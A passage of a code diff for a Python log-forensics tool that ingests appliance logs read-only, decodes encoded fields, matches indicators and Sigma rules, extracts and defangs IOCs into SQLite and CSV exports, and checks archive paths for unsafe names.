from .parsing import parse_record
|
||||||
|
from .sigma_rules import SigmaEvaluationLimit
|
||||||
|
|
||||||
|
|
||||||
|
def dump(path: Path, value: Any) -> None:
|
||||||
|
path.write_text(json.dumps(value, ensure_ascii=False, indent=2) + "\n", encoding="utf-8")
|
||||||
|
|
||||||
|
|
||||||
|
def make_database(path: Path) -> sqlite3.Connection:
|
||||||
|
db = sqlite3.connect(path)
|
||||||
|
db.executescript("""
|
||||||
|
PRAGMA cache_size=-8192;
|
||||||
|
PRAGMA temp_store=FILE;
|
||||||
|
PRAGMA mmap_size=0;
|
||||||
|
PRAGMA threads=1;
|
||||||
|
CREATE TABLE events(id INTEGER PRIMARY KEY, appliance TEXT, source TEXT,
|
||||||
|
line INTEGER, timestamp TEXT, kind TEXT, data TEXT);
|
||||||
|
CREATE TABLE event_keys(event_id INTEGER, appliance TEXT, key_type TEXT,
|
||||||
|
key_value TEXT, timestamp TEXT);
|
||||||
|
CREATE TABLE iocs(type TEXT,value TEXT,defanged TEXT,count INTEGER,
|
||||||
|
first_event INTEGER,PRIMARY KEY(type,value));
|
||||||
|
CREATE TABLE indicator_hits(event_id INTEGER,type TEXT,value TEXT,status TEXT);
|
||||||
|
CREATE INDEX key_lookup ON event_keys(appliance,key_type,key_value,timestamp);
|
||||||
|
""")
|
||||||
|
return db
|
||||||
|
|
||||||
|
|
||||||
|
def validate_output(output: Path, inputs: list[tuple[str, Path]]) -> None:
|
||||||
|
resolved = output.resolve()
|
||||||
|
if output.exists() or output.is_symlink():
|
||||||
|
raise ValueError("Output already exists; choose a new directory")
|
||||||
|
if any(p.is_symlink() for p in output.parents):
|
||||||
|
raise ValueError("Output path contains a symbolic link")
|
||||||
|
for _, root in inputs:
|
||||||
|
if resolved == root.resolve() or root.resolve() in resolved.parents:
|
||||||
|
raise ValueError("Output must not be inside an input directory")
|
||||||
|
if len({name for name, _ in inputs}) != len(inputs):
|
||||||
|
raise ValueError("Appliance names must be unique")
|
||||||
|
if len({root.resolve() for _, root in inputs}) != len(inputs):
|
||||||
|
raise ValueError("Duplicate input root")
|
||||||
|
|
||||||
|
|
||||||
|
def scan(
|
||||||
|
inputs: list[tuple[str, Path]],
|
||||||
|
output: Path,
|
||||||
|
configs: list[dict[str, Any]],
|
||||||
|
*,
|
||||||
|
year: int | None = None,
|
||||||
|
timezones: dict[str, str] | None = None,
|
||||||
|
file_years: dict[str, int] | None = None,
|
||||||
|
defaults: bool = True,
|
||||||
|
extract_all: bool = False,
|
||||||
|
regex_timeout: float = 0.05,
|
||||||
|
window: int = 120,
|
||||||
|
max_line_bytes: int = 1048576,
|
||||||
|
max_file_bytes: int = 536870912,
|
||||||
|
max_links: int = 1000000,
|
||||||
|
) -> dict[str, Any]:
|
||||||
|
validate_output(output, inputs)
|
||||||
|
matcher = Matcher(configs, regex_timeout, defaults)
|
||||||
|
sha256_indicators: dict[str, list[dict[str, Any]]] = {}
|
||||||
|
for indicator in matcher.indicators:
|
||||||
|
if indicator.get("type") == "sha256":
|
||||||
|
sha256_indicators.setdefault(indicator["value"].lower(), []).append(indicator)
|
||||||
|
output.mkdir(parents=True)
|
||||||
|
start = time.perf_counter()
|
||||||
|
db = make_database(output / "evidence.sqlite")
|
||||||
|
stats: Counter[str] = Counter()
|
||||||
|
kinds: Counter[str] = Counter()
|
||||||
|
warnings: Counter[str] = Counter()
|
||||||
|
coverage: dict[tuple[str, str], Counter[str]] = {}
|
||||||
|
before: list[dict[str, Any]] = []
|
||||||
|
file_hash_hits: list[dict[str, Any]] = []
|
||||||
|
timezones, file_years = timezones or {}, file_years or {}
|
||||||
|
config = {
|
||||||
|
"appliances": [name for name, _ in inputs],
|
||||||
|
"year": year,
|
||||||
|
"timezones": timezones,
|
||||||
|
"file_years": file_years,
|
||||||
|
"configs": matcher.configs,
|
||||||
|
"defaults": defaults,
|
||||||
|
"extract_all": extract_all,
|
||||||
|
"regex_timeout": regex_timeout,
|
||||||
|
"window": window,
|
||||||
|
"max_line_bytes": max_line_bytes,
|
||||||
|
"max_file_bytes": max_file_bytes,
|
||||||
|
"max_links": max_links,
|
||||||
|
}
|
||||||
|
dump(output / "configuration.json", config)
|
||||||
|
|
||||||
|
@lru_cache(maxsize=128)
|
||||||
|
def decode_cached(value: str) -> list[dict[str, Any]]:
|
||||||
|
return decode_layers(value, max_bytes=min(max_line_bytes, 16384))
|
||||||
|
|
||||||
|
try:
|
||||||
|
for name, root in inputs:
|
||||||
|
files = inventory(root)
|
||||||
|
before.extend({"appliance": name, **row} for row in files)
|
||||||
|
for row in files:
|
||||||
|
file_hash_hits.extend(
|
||||||
|
{
|
||||||
|
"appliance": name,
|
||||||
|
"source": row["source"],
|
||||||
|
"sha256": row["sha256"],
|
||||||
|
"indicator": indicator,
|
||||||
|
"basis": "SHA-256 of original file bytes; not a text occurrence",
|
||||||
|
}
|
||||||
|
for indicator in sha256_indicators.get(row.get("sha256") or "", [])
|
||||||
|
)
|
||||||
|
for record in iter_records(root, name, max_line_bytes, max_file_bytes):
|
||||||
|
stats["records"] += 1
|
||||||
|
ref = (name, record["source"])
|
||||||
|
coverage.setdefault(ref, Counter())["records"] += 1
|
||||||
|
if record.get("error"):
|
||||||
|
stats["read_errors"] += 1
|
||||||
|
coverage[ref]["read_errors"] += 1
|
||||||
|
event = parse_record(
|
||||||
|
record, timezones.get(name), file_years.get(f"{name}/{record['source']}", year)
|
||||||
|
)
|
||||||
|
kinds[event["kind"]] += 1
|
||||||
|
warnings.update(event["warnings"])
|
||||||
|
if event["kind"] == "unknown":
|
||||||
|
coverage[ref]["unparsed"] += 1
|
||||||
|
if not event["timestamp"]:
|
||||||
|
stats["without_timestamp"] += 1
|
||||||
|
text = record["raw"]
|
||||||
|
analysis_errors: list[str] = []
|
||||||
|
|
||||||
|
def search(
|
||||||
|
value: str,
|
||||||
|
errors: list[str] = analysis_errors,
|
||||||
|
record_ref: tuple[str, str] = ref,
|
||||||
|
) -> tuple[list[str], list[dict[str, Any]], list[dict[str, Any]]]:
|
||||||
|
try:
|
||||||
|
return matcher.search_with_details(value, include_sigma=False)
|
||||||
|
except TimeoutError:
|
||||||
|
errors.append("regex_timeout; matching incomplete")
|
||||||
|
stats["matching_errors"] += 1
|
||||||
|
coverage[record_ref]["matching_errors"] += 1
|
||||||
|
return [], [], []
|
||||||
|
|
||||||
|
rules, hits, rule_details = search(text)
|
||||||
|
fields = event["fields"]
|
||||||
|
candidates = [
|
||||||
|
fields[key] for key in ("user_agent", "uri", "referer") if fields.get(key)
|
||||||
|
]
|
||||||
|
# Decode actual fields and encoding-shaped text, not every timestamp/IP hit.
|
||||||
|
residual = text
|
||||||
|
for candidate in dict.fromkeys(candidates):
|
||||||
|
# Tiny delimiters are not encoded fields and must not erase other headers.
|
||||||
|
if len(candidate) >= 8:
|
||||||
|
residual = residual.replace(candidate, " ")
|
||||||
|
if has_encoding_candidate(residual):
|
||||||
|
# The residual is a gate only: decode original bytes/text and preserve spans.
|
||||||
|
candidates.append(text)
|
||||||
|
layers: list[dict[str, Any]] = []
|
||||||
|
if (
|
||||||
|
rules
|
||||||
|
or hits
|
||||||
|
or any(any(char in c for char in "%:=?") for c in candidates)
|
||||||
|
or any(has_encoding_candidate(candidate) for candidate in candidates)
|
||||||
|
or (not fields.get("uri") and bool(candidates))
|
||||||
|
):
|
||||||
|
for candidate_id, candidate in enumerate(dict.fromkeys(candidates)):
|
||||||
|
# Cache repeated small headers only; large payloads must not accumulate.
|
||||||
|
decoded = (
|
||||||
|
decode_cached(candidate)
|
||||||
|
if len(candidate) <= 4096
|
||||||
|
else decode_layers(candidate, max_bytes=min(max_line_bytes, 16777216))
|
||||||
|
)
|
||||||
|
# Keep originals only when an actual transformation/error exists.
|
||||||
|
if len(decoded) > 1 or any(layer.get("error") for layer in decoded):
|
||||||
|
layers.extend(
|
||||||
|
{**layer, "candidate_id": candidate_id} for layer in decoded
|
||||||
|
)
|
||||||
|
for layer in decoded[1:]:
|
||||||
|
if not layer.get("error") and layer.get("sha256"):
|
||||||
|
hits.extend(
|
||||||
|
{**indicator, "basis": "decoded_bytes_sha256"}
|
||||||
|
for indicator in sha256_indicators.get(layer["sha256"], [])
|
||||||
|
)
|
||||||
|
value = layer.get("output")
|
||||||
|
if value and layer.get("output_encoding") != "hex":
|
||||||
|
extra_rules, extra_hits, extra_details = search(value)
|
||||||
|
rules.extend(extra_rules)
|
||||||
|
hits.extend(extra_hits)
|
||||||
|
rule_details.extend(extra_details)
|
||||||
|
decoded_views = [
|
||||||
|
(index, layer["output"])
|
||||||
|
for index, layer in enumerate(layers)
|
||||||
|
if layer.get("transformation") != "original"
|
||||||
|
and layer.get("output")
|
||||||
|
and layer.get("output_encoding") != "hex"
|
||||||
|
and not layer.get("error")
|
||||||
|
]
|
||||||
|
event["sha256"] = sorted(
|
||||||
|
{
|
||||||
|
layer["sha256"]
|
||||||
|
for layer in layers
|
||||||
|
if layer.get("transformation") != "original"
|
||||||
|
and layer.get("sha256")
|
||||||
|
and not layer.get("error")
|
||||||
|
}
|
||||||
|
)
|
||||||
|
event["sigma_decoded_views"] = [index for index, _ in decoded_views]
|
||||||
|
try:
|
||||||
|
sigma_details = matcher.search_sigma(
|
||||||
|
event, [value for _, value in decoded_views]
|
||||||
|
)
|
||||||
|
rules.extend(str(detail["id"]) for detail in sigma_details)
|
||||||
|
rule_details.extend(sigma_details)
|
||||||
|
except (TimeoutError, SigmaEvaluationLimit) as exc:
|
||||||
|
analysis_errors.append(f"{type(exc).__name__}; Sigma matching incomplete")
|
||||||
|
stats["matching_errors"] += 1
|
||||||
|
coverage[ref]["matching_errors"] += 1
|
||||||
|
decoding_errors = sum(bool(layer.get("error")) for layer in layers)
|
||||||
|
stats["decoding_errors"] += decoding_errors
|
||||||
|
rules = sorted(set(rules))
|
||||||
|
selected = bool(
|
||||||
|
rules
|
||||||
|
or hits
|
||||||
|
or event["categories"]
|
||||||
|
or record.get("error")
|
||||||
|
or decoding_errors
|
||||||
|
or analysis_errors
|
||||||
|
or extract_all
|
||||||
|
)
|
||||||
|
if not selected:
|
||||||
|
continue
|
||||||
|
event.update(
|
||||||
|
rules=rules,
|
||||||
|
rule_details=list(
|
||||||
|
{
|
||||||
|
json.dumps(detail, sort_keys=True): detail for detail in rule_details
|
||||||
|
}.values()
|
||||||
|
),
|
||||||
|
indicator_matches=hits,
|
||||||
|
decoding=layers,
|
||||||
|
analysis_errors=analysis_errors,
|
||||||
|
)
|
||||||
|
indicators = extract_indicators(text)
|
||||||
|
for layer in layers:
|
||||||
|
if layer.get("output") and layer.get("output_encoding") != "hex":
|
||||||
|
indicators.extend(extract_indicators(layer["output"]))
|
||||||
|
if (
|
||||||
|
layer.get("transformation", "").startswith("base64")
|
||||||
|
and layer.get("sha256")
|
||||||
|
and not layer.get("error")
|
||||||
|
and layer.get("output")
|
||||||
|
):
|
||||||
|
value = layer["sha256"]
|
||||||
|
indicators.append(
|
||||||
|
{
|
||||||
|
"type": "sha256",
|
||||||
|
"value": value,
|
||||||
|
"defanged": value,
|
||||||
|
"role": "decoded_payload",
|
||||||
|
}
|
||||||
|
)
|
||||||
|
# Deduplicate within an event; distinct log events stay distinct.
|
||||||
|
indicators = list({(i["type"], i["value"]): i for i in indicators}.values())
|
||||||
|
event["indicators"] = indicators
|
||||||
|
cur = db.execute(
|
||||||
|
"INSERT INTO events VALUES(NULL,?,?,?,?,?,?)",
|
||||||
|
(
|
||||||
|
name,
|
||||||
|
record["source"],
|
||||||
|
record["line"],
|
||||||
|
event["timestamp"],
|
||||||
|
event["kind"],
|
||||||
|
json.dumps(event, ensure_ascii=False),
|
||||||
|
),
|
||||||
|
)
|
||||||
|
event_id = cur.lastrowid
|
||||||
|
stats["selected"] += 1
|
||||||
|
stats["findings"] += bool(rules or hits)
|
||||||
|
stats["update_records"] += bool(event["categories"])
|
||||||
|
for item in indicators:
|
||||||
|
db.execute(
|
||||||
|
"""INSERT INTO iocs VALUES(?,?,?,?,?) ON CONFLICT(type,value)
|
||||||
|
DO UPDATE SET count=count+1""",
|
||||||
|
(item["type"], item["value"], item["defanged"], 1, event_id),
|
||||||
|
)
|
||||||
|
for hit in hits:
|
||||||
|
db.execute(
|
||||||
|
"INSERT INTO indicator_hits VALUES(?,?,?,?)",
|
||||||
|
(
|
||||||
|
event_id,
|
||||||
|
hit.get("type", "literal"),
|
||||||
|
hit["value"],
|
||||||
|
hit.get("status", "reference_only"),
|
||||||
|
),
|
||||||
|
)
|
||||||
|
keys = set()
|
||||||
|
for key in (
|
||||||
|
"src",
|
||||||
|
"source_ip",
|
||||||
|
"client_ip",
|
||||||
|
"uri",
|
||||||
|
"session_id",
|
||||||
|
"transaction_id",
|
||||||
|
"request_id",
|
||||||
|
):
|
||||||
|
if fields.get(key):
|
||||||
|
keys.add(
|
||||||
|
("source_ip" if key in {"src", "client_ip"} else key, str(fields[key]))
|
||||||
|
)
|
||||||
|
for item in indicators:
|
||||||
|
if item["type"] in {"path", "sha256"}:
|
||||||
|
keys.add((item["type"], item["value"]))
|
||||||
|
if event["timestamp"]:
|
||||||
|
db.executemany(
|
||||||
|
"INSERT INTO event_keys VALUES(?,?,?,?,?)",
|
||||||
|
[(event_id, name, key, value, event["timestamp"]) for key, value in keys],
|
||||||
|
)
|
||||||
|
if stats["selected"] % 1000 == 0:
|
||||||
|
db.commit()
|
||||||
|
db.commit()
|
||||||
|
after = [{"appliance": name, **row} for name, root in inputs for row in inventory(root)]
|
||||||
|
if before != after:
|
||||||
|
raise ValueError("Original files changed during analysis")
|
||||||
|
inventory_errors = sum(bool(row.get("error")) for row in before)
|
||||||
|
stats["inventory_errors"] = inventory_errors
|
||||||
|
dump(output / "input_manifest.json", before)
|
||||||
|
dump(output / "file_hash_hits.json", file_hash_hits)
|
||||||
|
stats["file_hash_hits"] = len(file_hash_hits)
|
||||||
|
from .correlation import correlate_database
|
||||||
|
|
||||||
|
correlation = correlate_database(db, window_seconds=window, max_links=max_links)
|
||||||
|
db.commit()
|
||||||
|
export(db, output)
|
||||||
|
summary = {
|
||||||
|
"status": "partial"
|
||||||
|
if (
|
||||||
|
stats["read_errors"]
|
||||||
|
or stats["decoding_errors"]
|
||||||
|
or stats["matching_errors"]
|
||||||
|
or inventory_errors
|
||||||
|
or correlation["incomplete"]
|
||||||
|
)
|
||||||
|
else "complete",
|
||||||
|
"tool_version": __version__,
|
||||||
|
"python": platform.python_version(),
|
||||||
|
"created_utc": datetime.now(UTC).isoformat(),
|
||||||
|
"duration_seconds": round(time.perf_counter() - start, 3),
|
||||||
|
"counts": dict(stats),
|
||||||
|
"kinds": dict(kinds),
|
||||||
|
"warnings": dict(warnings),
|
||||||
|
"files": len(before),
|
||||||
|
"input_bytes": sum(f["size"] for f in before),
|
||||||
|
"integrity": "not_fully_verified" if inventory_errors else "unchanged",
|
||||||
|
"resources": {
|
||||||
|
"scan_workers": 1,
|
||||||
|
"sqlite_cache_kib": 8192,
|
||||||
|
"sqlite_temporary_storage": "disk",
|
||||||
|
"decode_cache_entries": 128,
|
||||||
|
"decode_cache_max_candidate_characters": 4096,
|
||||||
|
},
|
||||||
|
"correlation": correlation,
|
||||||
|
}
|
||||||
|
dump(output / "summary.json", summary)
|
||||||
|
dump(
|
||||||
|
output / "coverage.json",
|
||||||
|
[{"appliance": a, "source": s, **dict(c)} for (a, s), c in sorted(coverage.items())],
|
||||||
|
)
|
||||||
|
# Assessment reports are written separately from the extracted data.
|
||||||
|
return summary
|
||||||
|
except (Exception, KeyboardInterrupt) as exc:
|
||||||
|
with suppress(sqlite3.Error):
|
||||||
|
db.commit()
|
||||||
|
with suppress(OSError):
|
||||||
|
dump(
|
||||||
|
output / "summary.json",
|
||||||
|
{
|
||||||
|
"status": "failed",
|
||||||
|
"error_type": type(exc).__name__,
|
||||||
|
"counts": dict(stats),
|
||||||
|
"integrity": "not_verified",
|
||||||
|
},
|
||||||
|
)
|
||||||
|
raise
|
||||||
|
finally:
|
||||||
|
db.close()
|
||||||
|
|
||||||
|
|
||||||
|
def export(db: sqlite3.Connection, output: Path) -> None:
|
||||||
|
with (
|
||||||
|
(output / "findings.jsonl").open("w", encoding="utf-8") as findings,
|
||||||
|
(output / "updates.jsonl").open("w", encoding="utf-8") as updates,
|
||||||
|
):
|
||||||
|
for event_id, data in db.execute("SELECT id,data FROM events ORDER BY id"):
|
||||||
|
event = json.loads(data)
|
||||||
|
event["id"] = event_id
|
||||||
|
line = json.dumps(event, ensure_ascii=False) + "\n"
|
||||||
|
findings.write(line)
|
||||||
|
if event["categories"]:
|
||||||
|
updates.write(line)
|
||||||
|
with (output / "IOCS.csv").open("w", newline="", encoding="utf-8") as handle:
|
||||||
|
writer = csv.writer(handle)
|
||||||
|
writer.writerow(["type", "value", "defanged", "event_count", "first_event", "status"])
|
||||||
|
labels: dict[str, set[str]] = {}
|
||||||
|
for value, status in db.execute("SELECT DISTINCT value,status FROM indicator_hits"):
|
||||||
|
labels.setdefault(value, set()).add(status)
|
||||||
|
for row in db.execute("SELECT * FROM iocs ORDER BY type,value"):
|
||||||
|
statuses = labels.get(row[1], set())
|
||||||
|
status = (
|
||||||
|
"authorized_test"
|
||||||
|
if "authorized_test" in statuses
|
||||||
|
else (
|
||||||
|
"context_only"
|
||||||
|
if "context_only" in statuses
|
||||||
|
else ";".join(sorted(statuses)) or "observed_candidate"
|
||||||
|
)
|
||||||
|
)
|
||||||
|
writer.writerow([*row, status])
|
||||||
|
with (output / "indicator_hits.csv").open("w", newline="", encoding="utf-8") as handle:
|
||||||
|
writer = csv.writer(handle)
|
||||||
|
writer.writerow(["event_id", "type", "value", "status"])
|
||||||
|
writer.writerows(
|
||||||
|
db.execute("SELECT DISTINCT * FROM indicator_hits ORDER BY event_id,type,value")
|
||||||
|
)
|
||||||
|
cursor = db.execute("SELECT * FROM correlations")
|
||||||
|
columns = [column[0] for column in cursor.description]
|
||||||
|
with (output / "correlations.jsonl").open("w", encoding="utf-8") as handle:
|
||||||
|
for row in cursor:
|
||||||
|
handle.write(
|
||||||
|
json.dumps(dict(zip(columns, row, strict=True)), ensure_ascii=False) + "\n"
|
||||||
|
)
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
"""Extract observables, not verdicts. Original values remain suitable for exact matching."""
|
||||||
|
|
||||||
|
import ipaddress
|
||||||
|
import re
|
||||||
|
from typing import Any
|
||||||
|
from urllib.parse import urlsplit
|
||||||
|
|
||||||
|
|
||||||
|
def defang(value: str, indicator_type: str) -> str:
|
||||||
|
if indicator_type in {"url", "domain", "ipv4", "ipv6", "ip"}:
|
||||||
|
value = re.sub(r"^https:", "hxxps:", value, flags=re.I)
|
||||||
|
value = re.sub(r"^http:", "hxxp:", value, flags=re.I)
|
||||||
|
value = value.replace(".", "[.]").replace(":", "[:]")
|
||||||
|
return value
|
||||||
|
|
||||||
|
|
||||||
|
def extract_indicators(text: str) -> list[dict[str, Any]]:
|
||||||
|
if len(text) > 16777216:
|
||||||
|
raise ValueError("indicator input exceeds 16 MiB; process log lines individually")
|
||||||
|
found: dict[tuple[str, str], dict[str, Any]] = {}
|
||||||
|
|
||||||
|
def add(kind: str, value: str, role: str = "observable", start: int | None = None) -> None:
|
||||||
|
key = (kind, value)
|
||||||
|
if key not in found:
|
||||||
|
found[key] = dict(
|
||||||
|
type=kind,
|
||||||
|
value=value,
|
||||||
|
defanged=defang(value, kind),
|
||||||
|
role=role,
|
||||||
|
observation="Text occurrence; not evidence of a connection or execution.",
|
||||||
|
start=start,
|
||||||
|
)
|
||||||
|
|
||||||
|
urls = list(re.finditer(r"\bhttps?://[^\s<>\"'`]+", text, re.I))
|
||||||
|
for match in urls:
|
||||||
|
value = match.group().rstrip("),;}")
|
||||||
|
add("url", value, "url_in_text", match.start())
|
||||||
|
try:
|
||||||
|
hostname = urlsplit(value).hostname
|
||||||
|
if hostname:
|
||||||
|
try:
|
||||||
|
parsed = ipaddress.ip_address(hostname)
|
||||||
|
add(
|
||||||
|
"ipv4" if parsed.version == 4 else "ipv6",
|
||||||
|
hostname,
|
||||||
|
"url_host",
|
||||||
|
match.start(),
|
||||||
|
)
|
||||||
|
except ValueError:
|
||||||
|
if "." in hostname and re.fullmatch(r"[A-Za-z0-9.-]+", hostname):
|
||||||
|
add("domain", hostname, "url_host", match.start())
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
for match in re.finditer(
|
||||||
|
r"(?<![\w.])(?:[0-9]{1,3}\.){3}[0-9]{1,3}(?![\w.])|(?<![\w:])(?:[A-Fa-f0-9]{0,4}:){2,}[A-Fa-f0-9:.]*(?![\w:])",
|
||||||
|
text,
|
||||||
|
):
|
||||||
|
value = match.group()
|
||||||
|
try:
|
||||||
|
parsed = ipaddress.ip_address(value)
|
||||||
|
add("ipv4" if parsed.version == 4 else "ipv6", value, "address_in_text", match.start())
|
||||||
|
except ValueError:
|
||||||
|
continue
|
||||||
|
for match in re.finditer(
|
||||||
|
r"(?<![A-Za-z0-9])(?:[a-fA-F0-9]{64}|[a-fA-F0-9]{40}|[a-fA-F0-9]{32})(?![A-Za-z0-9])", text
|
||||||
|
):
|
||||||
|
value = match.group()
|
||||||
|
add(
|
||||||
|
{32: "md5", 40: "sha1", 64: "sha256"}[len(value)],
|
||||||
|
value,
|
||||||
|
"hash_shaped_text",
|
||||||
|
match.start(),
|
||||||
|
)
|
||||||
|
# Domain-shaped filenames are ambiguous: require URL, DNS/Host context or an email address.
|
||||||
|
domain_pattern = r"(?:[A-Za-z0-9](?:[A-Za-z0-9-]{0,61}[A-Za-z0-9])?\.)+[A-Za-z]{2,63}"
|
||||||
|
for match in re.finditer(
|
||||||
|
r"(?:\b(?:host|hostname|dns|domain|server_name)\s*[:=]\s*|@)("
|
||||||
|
+ domain_pattern
|
||||||
|
+ r")(?![\w.-])",
|
||||||
|
text,
|
||||||
|
re.I,
|
||||||
|
):
|
||||||
|
add("domain", match.group(1), "named_host_in_text", match.start(1))
|
||||||
|
url_index = 0
|
||||||
|
for match in re.finditer(r"(?<![\w/:])/(?!/)[^\s\"'`<>|;{}()]+", text):
|
||||||
|
while url_index < len(urls) and urls[url_index].end() <= match.start():
|
||||||
|
url_index += 1
|
||||||
|
if (
|
||||||
|
url_index < len(urls)
|
||||||
|
and urls[url_index].start() <= match.start() < urls[url_index].end()
|
||||||
|
):
|
||||||
|
continue
|
||||||
|
add("path", match.group(), "path_in_text", match.start())
|
||||||
|
return list(found.values())
|
||||||
@@ -0,0 +1,392 @@
|
|||||||
|
"""Read-only log ingestion and bounded, non-overwriting archive extraction."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import gzip
|
||||||
|
import hashlib
|
||||||
|
import io
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import shutil
|
||||||
|
import stat
|
||||||
|
import tarfile
|
||||||
|
import zipfile
|
||||||
|
import zlib
|
||||||
|
from collections.abc import Buffer, Iterator
|
||||||
|
from pathlib import Path, PurePosixPath
|
||||||
|
from typing import NotRequired, TypedDict
|
||||||
|
|
||||||
|
from py7zr.io import Py7zIO
|
||||||
|
|
||||||
|
|
||||||
|
class InventoryEntry(TypedDict):
|
||||||
|
source: str
|
||||||
|
size: int
|
||||||
|
sha256: str | None
|
||||||
|
error: NotRequired[str]
|
||||||
|
|
||||||
|
|
||||||
|
class ArchiveProvenance(TypedDict):
|
||||||
|
archive: str
|
||||||
|
sha256: str
|
||||||
|
depth: int
|
||||||
|
|
||||||
|
|
||||||
|
class ArchiveEntry(InventoryEntry):
|
||||||
|
archives: list[ArchiveProvenance]
|
||||||
|
|
||||||
|
|
||||||
|
class RecordSource(TypedDict):
|
||||||
|
appliance: str
|
||||||
|
source: str
|
||||||
|
|
||||||
|
|
||||||
|
class LogRecord(RecordSource):
|
||||||
|
line: int
|
||||||
|
raw: str
|
||||||
|
warnings: list[str]
|
||||||
|
error: NotRequired[str]
|
||||||
|
|
||||||
|
|
||||||
|
class InputError(ValueError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class ArchiveError(InputError):
|
||||||
|
"""Unreadable archive or unavailable password; safe to skip this input unit."""
|
||||||
|
|
||||||
|
|
||||||
|
def _files(root: Path) -> Iterator[tuple[Path, OSError | None]]:
|
||||||
|
root = Path(root)
|
||||||
|
if root.is_symlink() or not root.is_dir():
|
||||||
|
raise InputError("Input must be a real directory")
|
||||||
|
walk_errors: list[OSError] = []
|
||||||
|
for directory, dirs, files in os.walk(root, followlinks=False, onerror=walk_errors.append):
|
||||||
|
while walk_errors:
|
||||||
|
error = walk_errors.pop(0)
|
||||||
|
yield Path(error.filename) if error.filename else root, error
|
||||||
|
for name in sorted(dirs + files):
|
||||||
|
if (Path(directory) / name).is_symlink():
|
||||||
|
raise InputError("Symbolic link found in input")
|
||||||
|
dirs.sort()
|
||||||
|
for name in sorted(files):
|
||||||
|
path = Path(directory) / name
|
||||||
|
try:
|
||||||
|
mode = path.stat().st_mode
|
||||||
|
except OSError as exc:
|
||||||
|
yield path, exc
|
||||||
|
continue
|
||||||
|
if not stat.S_ISREG(mode):
|
||||||
|
raise InputError("Not a regular file")
|
||||||
|
yield path, None
|
||||||
|
for error in walk_errors:
|
||||||
|
yield Path(error.filename) if error.filename else root, error
|
||||||
|
|
||||||
|
|
||||||
|
def inventory(root: Path) -> list[InventoryEntry]:
|
||||||
|
root = Path(root)
|
||||||
|
result: list[InventoryEntry] = []
|
||||||
|
for path, error in _files(root):
|
||||||
|
row: InventoryEntry = {
|
||||||
|
"source": path.relative_to(root).as_posix(),
|
||||||
|
"size": 0,
|
||||||
|
"sha256": None,
|
||||||
|
}
|
||||||
|
try:
|
||||||
|
if error:
|
||||||
|
raise error
|
||||||
|
row["size"] = path.stat().st_size
|
||||||
|
with path.open("rb") as handle:
|
||||||
|
row["sha256"] = hashlib.file_digest(handle, "sha256").hexdigest()
|
||||||
|
except OSError as exc:
|
||||||
|
row["error"] = type(exc).__name__
|
||||||
|
result.append(row)
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def iter_records(
|
||||||
|
root: Path, appliance: str, max_line_bytes: int = 1048576, max_file_bytes: int = 536870912
|
||||||
|
) -> Iterator[LogRecord]:
|
||||||
|
"""Yield lines, including explicit error records; limits count expanded bytes."""
|
||||||
|
if min(max_line_bytes, max_file_bytes) < 1:
|
||||||
|
raise ValueError("Invalid read limit")
|
||||||
|
root = Path(root)
|
||||||
|
for path, error in _files(root):
|
||||||
|
base: RecordSource = {"appliance": appliance, "source": path.relative_to(root).as_posix()}
|
||||||
|
number = 0
|
||||||
|
try:
|
||||||
|
if error:
|
||||||
|
raise error
|
||||||
|
with path.open("rb") as original:
|
||||||
|
magic = original.read(8)
|
||||||
|
original.seek(0)
|
||||||
|
if magic.startswith(
|
||||||
|
(b"7z\xbc\xaf\x27\x1c", b"PK\x03\x04", b"\x7fELF")
|
||||||
|
) or path.name.lower().endswith((".tar", ".tgz", ".tar.gz", ".zip", ".7z")):
|
||||||
|
yield {
|
||||||
|
**base,
|
||||||
|
"line": 0,
|
||||||
|
"raw": "",
|
||||||
|
"error": "UnsupportedInput",
|
||||||
|
"warnings": ["Archive or binary file; not processed as text"],
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
handle = (
|
||||||
|
gzip.GzipFile(fileobj=original) if magic.startswith(b"\x1f\x8b") else original
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
total = 0
|
||||||
|
while True:
|
||||||
|
chunk = handle.readline(min(max_line_bytes + 1, max_file_bytes - total + 1))
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
number += 1
|
||||||
|
total += len(chunk)
|
||||||
|
if b"\x00" in chunk:
|
||||||
|
raise InputError("Binary data encountered; text processing stopped")
|
||||||
|
if len(chunk) > max_line_bytes or total > max_file_bytes:
|
||||||
|
raise InputError(
|
||||||
|
"Line or file size limit exceeded; processing stopped for this file"
|
||||||
|
)
|
||||||
|
warnings = []
|
||||||
|
try:
|
||||||
|
raw = chunk.decode("utf-8")
|
||||||
|
except UnicodeDecodeError:
|
||||||
|
raw = chunk.decode("utf-8", errors="replace")
|
||||||
|
warnings.append(
|
||||||
|
"Invalid UTF-8; unmodified original bytes remain in the source file"
|
||||||
|
)
|
||||||
|
yield {
|
||||||
|
"appliance": appliance,
|
||||||
|
"source": base["source"],
|
||||||
|
"line": number,
|
||||||
|
"raw": raw.rstrip("\r\n"),
|
||||||
|
"warnings": warnings,
|
||||||
|
}
|
||||||
|
finally:
|
||||||
|
if handle is not original:
|
||||||
|
handle.close()
|
||||||
|
except (OSError, EOFError, InputError, zlib.error) as exc:
|
||||||
|
yield {
|
||||||
|
**base,
|
||||||
|
"line": number,
|
||||||
|
"raw": "",
|
||||||
|
"error": type(exc).__name__,
|
||||||
|
"warnings": [
|
||||||
|
str(exc)
|
||||||
|
if isinstance(exc, InputError)
|
||||||
|
else "Read error; file processing is incomplete"
|
||||||
|
],
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def _member(name: str) -> Path:
|
||||||
|
if not name or "\x00" in name or "\\" in name or re.match(r"^[A-Za-z]:", name):
|
||||||
|
raise InputError("Unsafe archive path")
|
||||||
|
p = PurePosixPath(name)
|
||||||
|
if p.is_absolute() or ".." in p.parts or ":" in name:
|
||||||
|
raise InputError("Unsafe archive path")
|
||||||
|
if not p.parts or any(part in {"", "."} for part in name.rstrip("/").split("/")):
|
||||||
|
raise InputError("Ambiguous archive path")
|
||||||
|
if any(
|
||||||
|
part.endswith((".", " "))
|
||||||
|
or re.fullmatch(r"(?i)(?:con|prn|aux|nul|com[1-9]|lpt[1-9])(?:\..*)?", part)
|
||||||
|
for part in p.parts
|
